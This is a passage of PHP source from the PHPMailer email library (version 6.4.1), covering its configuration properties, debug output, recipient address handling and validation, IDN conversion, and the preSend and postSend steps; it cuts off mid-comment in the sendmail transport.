@var string[] */ protected static $IcalMethods = [ self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER, ]; /** * The complete compiled MIME message body. * * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * * @var string */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * * @var string */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * * @see static::STD_LINE_LENGTH * * @var int */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * * @var bool */ public $UseSendmailOptions = true; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * * @see PHPMailer::$Helo * * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "", * as defined in RFC5322 section 3.6.4 or it will be ignored. * * @see https://tools.ietf.org/html/rfc5322#section-3.6.4 * * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * * @var int */ public $Port = 25; /** * The SMTP HELO/EHLO name used for the SMTP connection. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * * @see PHPMailer::$Hostname * * @var string */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS. * * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * * @var bool */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * * @see PHPMailer::$Username * @see PHPMailer::$Password * * @var bool */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ public $SMTPOptions = []; /** * SMTP username. * * @var string */ public $Username = ''; /** * SMTP password. * * @var string */ public $Password = ''; /** * SMTP auth type. * Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2, attempted in that order if not specified. * * @var string */ public $AuthType = ''; /** * An instance of the PHPMailer OAuth class. * * @var OAuth */ protected $oauth; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timeout = 300; /** * Comma separated list of DSN notifications * 'NEVER' under no circumstances a DSN must be returned to the sender. * If you use NEVER all other notifications will be ignored. * 'SUCCESS' will notify you when your mail has arrived at its destination. * 'FAILURE' will arrive if an error occurred during delivery. * 'DELAY' will notify you if there is an unusual delay in delivery, but the actual * delivery's outcome (success or failure) is not yet decided. * * @see https://tools.ietf.org/html/rfc3461 See section 4.1 for more information about NOTIFY */ public $dsn = ''; /** * SMTP class debug output mode. * Debug output level. * Options: * @see SMTP::DEBUG_OFF: No output * @see SMTP::DEBUG_CLIENT: Client messages * @see SMTP::DEBUG_SERVER: Client and server messages * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed * * @see SMTP::$do_debug * * @var int */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `
`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @see SMTP::$Debugoutput * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to keep SMTP connection open after each message. * If this is set to true then to close the connection * requires an explicit call to smtpClose(). * * @var bool */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * * @var bool * * @deprecated 6.0.0 PHPMailer isn't a mailing list manager! */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * * @var array */ protected $SingleToArray = []; /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see http://www.postfix.org/VERP_README.html Postfix VERP info * * @var bool */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * * @var bool */ public $AllowEmpty = false; /** * DKIM selector. * * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * * @example 'example.com' * * @var string */ public $DKIM_domain = ''; /** * DKIM Copy header field values for diagnostic use. * * @var bool */ public $DKIM_copyHeaderFields = true; /** * DKIM Extra signing headers. * * @example ['List-Unsubscribe', 'List-Help'] * * @var array */ public $DKIM_extraHeaders = []; /** * DKIM private key file path. * * @var string */ public $DKIM_private = ''; /** * DKIM private key string. * * If set, takes precedence over `$DKIM_private`. * * @var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: http://www.php.net/is_callable * * Parameters: * bool $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * string $extra extra information of possible use * "smtp_transaction_id' => last smtp transaction id * * @var string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use. * * @var string|null */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. * * @see PHPMailer::validateAddress() * * @var string|callable */ public static $validator = 'php'; /** * An instance of the SMTP sender class. * * @var SMTP */ protected $smtp; /** * The array of 'to' names and addresses. * * @var array */ protected $to = []; /** * The array of 'cc' names and addresses. * * @var array */ protected $cc = []; /** * The array of 'bcc' names and addresses. * * @var array */ protected $bcc = []; /** * The array of reply-to names and addresses. * * @var array */ protected $ReplyTo = []; /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * * @var array */ protected $all_recipients = []; /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * @see PHPMailer::$all_recipients * * @var array */ protected $RecipientsQueue = []; /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * * @see PHPMailer::$ReplyTo * * @var array */ protected $ReplyToQueue = []; /** * The array of attachments. * * @var array */ protected $attachment = []; /** * The array of custom headers. * * @var array */ protected $CustomHeader = []; /** * The most recent Message-ID (including angular brackets). * * @var string */ protected $lastMessageID = ''; /** * The message's MIME type. * * @var string */ protected $message_type = ''; /** * The array of MIME boundary strings. * * @var array */ protected $boundary = []; /** * The array of available languages. * * @var array */ protected $language = []; /** * The number of errors encountered. * * @var int */ protected $error_count = 0; /** * The S/MIME certificate file path. * * @var string */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * * @var string */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * * @var string */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * * @var string */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * * @var bool */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * * @var string */ protected $uniqueid = ''; /** * The PHPMailer Version number. * * @var string */ const VERSION = '6.4.1'; /** * Error severity: message only, continue processing. * * @var int */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. * * @var int */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. * * @var int */ const STOP_CRITICAL = 2; /** * The SMTP standard CRLF line break. * If you want to change line break format, change static::$LE, not this. */ const CRLF = "\r\n"; /** * "Folding White Space" a white space string used for line folding. */ const FWS = ' '; /** * SMTP RFC standard line ending; Carriage Return, Line Feed. * * @var string */ protected static $LE = self::CRLF; /** * The maximum line length supported by mail(). * * Background: mail() will sometimes corrupt messages * with headers headers longer than 65 chars, see #818. * * @var int */ const MAIL_MAX_LINE_LENGTH = 63; /** * The maximum line length allowed by RFC 2822 section 2.1.1. * * @var int */ const MAX_LINE_LENGTH = 998; /** * The lower maximum line length allowed by RFC 2822 section 2.1.1. * This length does NOT include the line break * 76 means that lines will be 77 or 78 chars depending on whether * the line break format is LF or CRLF; both are valid. * * @var int */ const STD_LINE_LENGTH = 76; /** * Constructor. * * @param bool $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if (null !== $exceptions) { $this->exceptions = (bool) $exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do). * * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string|null $params Params * * @return bool */ private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if (ini_get('mbstring.func_overload') & 1) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Calling mail() with null params breaks $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } /** * Output debugging info via a user-defined method. * Only generates output if debug output is enabled. * * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($str); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "
\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Sets message type to HTML or plain. * * @param bool $isHtml True for HTML mode */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } /** * Send messages using SMTP. */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. */ public function isMail() { $this->Mailer = 'mail'; } /** * Send messages using $Sendmail. */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } /** * Send messages using qmail. */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } /** * Add a "To" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * * @param string $address The email address to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim $pos = strrpos($address, '@'); if (false === $pos) { //At-sign is missing. $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $params = [$kind, $address, $name]; //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } return false; } //Immediately add standard addresses without IDN. return call_user_func_array([$this, 'addAnAddress'], $params); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf( '%s: %s', $this->lang('Invalid recipient kind'), $kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = [$address, $name]; return true; } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name
" into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. * Note that quotes in the name part are removed. * * @see http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation * * @param string $addrstr The address list string * @param bool $useimap Whether to use the IMAP extension to parse the list * * @return array */ public static function parseAddresses($addrstr, $useimap = true) { $addresses = []; if ($useimap && function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ( ('.SYNTAX-ERROR.' !== $address->host) && static::validateAddress( $address->mailbox . '@' . $address->host ) ) { //Decode the name part if it's present and encoded if ( property_exists($address, 'personal') && extension_loaded('mbstring') && preg_match('/^=\?.*\?=$/', $address->personal) ) { $address->personal = mb_decode_mimeheader($address->personal); } $addresses[] = [ 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host, ]; } } } else { //Use this simpler parser $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if (static::validateAddress($address)) { $addresses[] = [ 'name' => '', 'address' => $address, ]; } } else { list($name, $email) = explode('<', $address); $email = trim(str_replace('>', '', $email)); $name = trim($name); if (static::validateAddress($email)) { //If this name is encoded, decode it if (preg_match('/^=\?.*\?=$/', $name)) { $name = mb_decode_mimeheader($name); } $addresses[] = [ //Remove any surrounding quotes and spaces from the name 'name' => trim($name, '\'" '), 'address' => $email, ]; } } } } return $addresses; } /** * Set the From and FromName properties. * * @param string $address * @param string $name * @param bool $auto Whether to also set the Sender address, defaults to true * * @throws Exception * * @return bool */ public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim //Don't validate now addresses with IDN. Will be done in send(). $pos = strrpos($address, '@'); if ( (false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address)) ) { $error_message = sprintf( '%s (From): %s', $this->lang('invalid_address'), $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * Validation patterns supported: * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * * ```php * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * ``` * * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * * @param string $address The email address to check * @param string|callable $patternselect Which pattern to use * * @return bool */ public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `a@b.123` * * unbracketed IPv4 literals: `a@192.168.0.1` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @see http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * `intl` and `mbstring` PHP extensions. * * @return bool `true` if required functions for IDN support are present */ public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain contains characters not allowed in an IDN). * * @see PHPMailer::$CharSet * * @param string $address The email address to convert * * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { //Verify we have required functions, CharSet, and at-sign. $pos = strrpos($address, '@'); if ( !empty($this->CharSet) && false !== $pos && static::idnSupported() ) { $domain = substr($address, ++$pos); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { //Convert the domain from whatever charset it's in to UTF-8 $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); //Ignore IDE complaints about this line - method signature changed in PHP 5.4 $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { //Use the current punycode standard (appeared in PHP 7.2) $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_UTS46); } elseif (defined('INTL_IDNA_VARIANT_2003')) { //Fall back to this old, deprecated/removed encoding // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003Deprecated $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { //Fall back to a default we don't know about // phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * * @throws Exception * * @return bool false on error - See the ErrorInfo property for details of the error */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * * @throws Exception * * @return bool */ public function preSend() { if ( 'smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0)) ) { //SMTP mandates RFC-compliant line endings //and it's also used with mail() on Windows static::setLE(self::CRLF); } else { //Maintain backward compatibility with legacy Linux command line mailers static::setLE(PHP_EOL); } //Check for buggy PHP versions that add a header with an incorrect line break if ( 'mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0 ) { trigger_error( 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', E_USER_WARNING ); } try { $this->error_count = 0; //Reset errors $this->mailHeader = ''; //Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL); } //Validate From, Sender, and ConfirmReadingTo addresses foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { $this->$address_kind = trim($this->$address_kind); if (empty($this->$address_kind)) { continue; } $this->$address_kind = $this->punyencodeAddress($this->$address_kind); if (!static::validateAddress($this->$address_kind)) { $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $address_kind, $this->$address_kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } //Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } //Trim subject consistently $this->Subject = trim($this->Subject); //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); //createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; //To capture the complete message when using mail(), create //an extra header list which createHeader() doesn't fold in if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader($this->Subject)) ); } //Sign with DKIM if enabled if ( !empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message via the selected mechanism. * * @throws Exception * * @return bool */ public function postSend() { try { //Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (method_exists($this, $sendMethod)) { return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true) { $this->smtp->reset(); } $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * * @see PHPMailer::$Sendmail * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: 